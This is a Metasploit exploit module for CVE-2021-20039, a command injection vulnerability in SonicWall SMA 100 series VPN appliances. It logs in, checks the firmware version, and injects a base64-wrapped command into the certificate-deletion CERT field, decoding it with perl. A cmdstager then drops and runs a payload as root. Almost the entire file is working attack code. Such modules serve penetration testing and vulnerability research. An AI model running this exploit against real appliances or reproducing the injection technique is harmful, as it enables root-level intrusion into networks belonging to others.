##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SonicWall SMA 100 Series Authenticated Command Injection',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability
          in the SonicWall SMA 100 series web interface. Exploitation results in
          command execution as root. The affected versions are:

          - 10.2.1.2-24sv and below
          - 10.2.0.8-37sv and below
          - 9.0.0.11-31sv and below
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jbaines-r7' # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-20039' ],
          [ 'URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026'],
          [ 'URL', 'https://www.rapid7.com/blog/post/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2'],
          [ 'URL', 'https://attackerkb.com/topics/9szJhq46lw/cve-2021-20039/rapid7-analysis']
        ],
        'DisclosureDate' => '2021-12-14',
        'Platform' => ['linux'],
        'Arch' => [ARCH_X86],
        'Privileged' => true,
        'Targets' => [
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'echo', 'printf' ]
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'PrependFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'The password to authenticate with', 'password']),
      OptString.new('SWDOMAIN', [true, 'The domain to log in to', 'LocalDomain']),
      OptString.new('PORTALNAME', [true, 'The portal to log in to', 'VirtualOffice'])
    ])
  end

  ##
  # Extract the version number from a javascript include in the login landing page.
  # And compare the version against known affected. Affected versions are:
  #
  # 10.2.1.2-24sv and below
  # 10.2.0.8-37sv and below
  # 9.0.0.11-31sv and below
  ##
  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/cgi-bin/welcome'),
      'agent' => 'SonicWALL Mobile Connect'
    })
    return CheckCode::Unknown('Failed to retrieve the version information') unless res&.code == 200

    version = res.body.match(/\.([0-9.\-a-z]+)\.js" type=/)
    return CheckCode::Unknown('Failed to retrieve the version information') unless version

    version = version[1]

    major, minor, revision, build = version.split('.', 4)
    build, point = build.split('-', 2)
    print_status("Version found: #{major}.#{minor}.#{revision}.#{build}-#{point}")
    point.delete_suffix('sv')

    case major
    when '9'
      return CheckCode::Safe unless minor.to_i == 0 && revision.to_i == 0 && build.to_i <= 11 && point.to_i <= 31
    when '10'
      return CheckCode::Safe unless minor.to_i == 2

      case revision
      when '0'
        return CheckCode::Safe unless build.to_i <= 8 && point.to_i <= 37
      when '1'
        return CheckCode::Safe unless build.to_i <= 2 && point.to_i <= 24
      else
        return CheckCode::Safe
      end
    else
      return CheckCode::Safe
    end
    CheckCode::Appears('Based on the discovered version.')
  end

  def login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/cgi-bin/userLogin'),
      'agent' => 'SonicWALL Mobile Connect',
      'vars_post' =>
      {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'domain' => datastore['SWDOMAIN'],
        'portalname' => datastore['PORTALNAME'],
        'login' => 'true',
        'verifyCert' => '0',
        'ajax' => 'true'
      },
      'keep_cookies' => true
    })

    fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
    fail_with(Failure::NoAccess, 'Login failed') unless res.get_cookies.include?('swap=')
    print_good('Authentication successful')
  end

  ##
  # Send the exploit in the "CERT" field when "deleting" a certificate. The
  # backend requires the payload start with "n". Also, there is a very small
  # amount of space to fit the command into (otherwise we'll trigger a bof).
  # Finally! The command has a lot of disallowed characters: /$&|>;`^. Which
  # is problematically for basically all the payloads. The system also is
  # missing useful tools like wget, base64, and curl (10.2 has curl but
  # whatever). As such, it seemed the easiest thing to do is wrap the entire
  # command in base64 and then use perl to decode/execute it.
  ##
  def execute_command(cmd, _opts = {})
    cmd_encoded = Rex::Text.encode_base64(cmd)
    perl_eval = "n\nperl -MMIME::Base64 -e 'system(decode_base64(\"#{cmd_encoded}\"))'"

    multipart_form = Rex::MIME::Message.new
    multipart_form.add_part('delete', nil, nil, 'form-data; name="buttontype"')
    multipart_form.add_part(perl_eval, nil, nil, 'form-data; name="CERT"')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/cgi-bin/viewcert'),
      'agent' => 'SonicWALL Mobile Connect',
      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
      'data' => multipart_form.to_s
    }, 5)

    if res && res.code != 200
      # the response should always be 200, unless meterpreter holds the
      # connection open.
      fail_with(Failure::UnexpectedReply, 'Only expected 200 OK')
    end
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    login
    execute_cmdstager(linemax: 40)
  end
end
